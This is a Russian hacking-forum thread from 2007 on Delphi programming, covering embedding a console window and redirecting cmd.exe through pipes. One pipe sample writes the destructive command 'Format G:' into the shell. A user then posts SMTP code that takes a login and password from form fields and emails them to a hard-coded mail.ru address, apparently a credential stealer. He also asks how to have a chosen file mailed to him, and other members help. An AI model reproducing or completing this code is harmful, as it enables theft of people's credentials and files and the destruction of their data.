Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

28.08.2007, 11:36
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме: 329032
Репутация:
8
|
|
Да заглупил не заметил, буду внимательнее в следующий раз.
|
|
|

28.08.2007, 15:06
|
|
Новичок
Регистрация: 17.05.2007
Сообщений: 11
Провел на форуме: 84719
Репутация:
9
|
|
Сообщение от Serbies
2 Mkey http://narod.yandex.ru/cgi-bin/yandsearch?user=delphiworld&text=%EA%EE%ED%F1%EE%E B%FC+%ED%E0+%F4%EE%F0%E5&where=2 вот тут есть то что тебе надо.
И вообще юзайте DelphiWorld на delphiworld.narod.ru/ В большинстве случаев помогает
уважаемый Serbies... смею Вас заверить, что использовать поисковый сервис я в состоянии....
Буду Вам очень признателен эсли Вы окажете реальную помощь.... на данный момент расцениваю ваш пост как "флуд-шаблонный".
вот что необходимо получить http://slil.ru/24787881
Последний раз редактировалось Mkey; 28.08.2007 в 15:30..
|
|
|

28.08.2007, 20:52
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от Mkey
Доброго времени суток, уважаемые.....
Имеем:
1. окно Form1
Хотим получить:
в ОКНЕ Form1 стандартную виндовую сомандную консоль (cmd.exe).
(уточню задачу во избежании недоразумений.... требуется поместить окно консоли В окно Form1... )
заранее спсб за грамотные ответы....
Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
|
|
|

29.08.2007, 09:31
|
|
Новичок
Регистрация: 17.05.2007
Сообщений: 11
Провел на форуме: 84719
Репутация:
9
|
|
Сообщение от hidden
Вряд ли ты получишь ответ на этот вопрос, во первых, в разных версиях винды, разные способы вывода информации на консоль, иногда консоль может быть в полно экранном режиме, а вообще, когда она в нормальном-оконном режиме, это всего-лишь окно, так-что можешь определить его hWnd, установить ему стиль WS_CHILD и handle своей Form1 как parent, хотя сомневаюсь что под 9x прокатит.
вообщето для 2000, xp, 2003.......
пробывал уже Ваш способ.... не выходит... по этому и обратился за помощью....
|
|
|

29.08.2007, 09:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

29.08.2007, 16:49
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Сообщение от W!z@rD
а не проще ли с консоли поток перенаправить? (работа с пайпами)
с в проге сделать симуляцию консоли?
У меня примерчик есть
A симуляция консоли сложноватый пример.
Код:
procedure TForm1.Button2Click(Sender: TObject);
function PipeIs(StdOutR:dword):dword;
var I,X:dword;
begin
I:=0;X:=50;
while true do begin
sleep(10);
PeekNamedPipe(StdOutR,nil,0,0,@I,nil);
if I<>0 then begin PipeIs:=I;exit;end;
dec(X);
if X=0 then begin PipeIs:=X;exit;end;
end;
end;
var
sa:SECURITY_ATTRIBUTES;
IR:dword;
StdInR,StdOutR,StdInW,StdOutW,StdIn,StdOut:dword;
pi: TProcessInformation;
si: TStartupInfo;
I,TimeOut:dword;
STin,STout:string;
begin
sa.nLength := sizeof(sa);
sa.bInheritHandle := true;
sa.lpSecurityDescriptor := nil;
CreatePipe(StdOutR,StdOutW,@sa,0);
DuplicateHandle($ffffffff,StdoutW,$ffffffff,@Stdout,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdOutW);
CreatePipe(StdInR,StdInW, @sa,0);
DuplicateHandle($ffffffff,StdinR, $ffffffff,@Stdin ,0,true,DUPLICATE_SAME_ACCESS);
CloseHandle(StdInR);
ZeroMemory(@si, SizeOf(TStartupInfo));
si.cb := SizeOf(TStartupInfo);
si.hStdInput := Stdin;
si.hStdOutput := Stdout;
si.hStdError := Stdout;
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
CreateProcess(nil,PChar('cmd.exe'), // command line
nil,nil,TRUE,0,nil,nil,
si,pi);
memo1.Lines.Clear;
while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
end;
end;
STout := 'Dir c:\'#$D#$A;
I := Length(STout);
WriteFile(StdInW, STout[1], I, I, nil);
memo1.Lines.Add(STout);
while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
end;
end;
STout := 'Format G:'#$D#$A;
I := Length(STout);
WriteFile(StdInW, STout[1], I, I, nil);
memo1.Lines.Add(STout);
while PipeIs(StdOutR)<>0 do begin
I:=10000;setlength(STin,I);
Readfile(StdOutR, STin[1], I, I, nil);
if I<>0 then begin
setlength(STin,I);OemToChar(PAnsiChar(STin),PAnsiChar(STin));
memo1.Lines.Add(STin);
end;
end;
terminateprocess(pi.hProcess,0);
end;
|
|
|

29.08.2007, 21:20
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме: 329032
Репутация:
8
|
|
Есть такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
mail: String;
Mes: TIdMessage;
begin
if(ComboBox2.Text = '') or (Edit1.Text = '')then
begin
Form2.Show;
end;
mail := 'loxan06@mail.ru';
Application.ProcessMessages;
Mes := TIdMessage.Create(nil);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text := mail;
Mes.From.Text := PChar(ComboBox2.Text);
Mes.Subject := 'mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#13#10+
'Pass:'+' '+Edit1.Text+#13#10);
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := PChar('smtp.mail.ru');
IdSMTP1.Username := PChar(ComboBox2.Text);
IdSMTP1.Password := PChar(Edit1.Text);
IdSMTP1.Port := 25; // Default
Application.ProcessMessages;
IdSMTP1.Connect(300);
if IdSMTP1.Connected then
begin
try // Отправляем месадж
Application.ProcessMessages;
IdSMTP1.Send(Mes);
except // если ошибка
on E: Exception do
begin
Application.ProcessMessages;
Application.MessageBox(PChar(E.Message),'Не удалось отправить почту', MB_ICONERROR);
IdSMTP1.Disconnect;
end;
end;
IdSMTP1.Disconnect;
end;
end;
Программа компилируеться но на мыло ни чего не приходит помогите кто чем может.
|
|
|

29.08.2007, 21:30
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
infernal-team
http://slil.ru/24793186
я когда-то давно писал такое
|
|
|

30.08.2007, 10:03
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме: 329032
Репутация:
8
|
|
Piflit спасибо, но чуть чуть раньше бы и мне не пришлось самому код писать, вобщем может кто поможет (не сочтите за наглость) как сделать вот выбрал в опен диалоге файл и чтобы он пришел ко мне намыло при нажатии буттон. Заранее спасибо.
|
|
|

30.08.2007, 11:08
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
infernal-team А ты не думал что твой код может и правильный?
А в синтаксисе отправке неправильный!
в частности нужно не просто мыло [mail := 'loxan06@mail.ru';], а [mail := 'MAIL FROM: loxan06@mail.ru';] ... Хотя могу ошибаться с компонентом делфи не знаком, может он сам это дописывает
P.S. А так никто писать за тебя не будет, тут самому нужно что-то думать... причем Piflit уже дал наработки 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|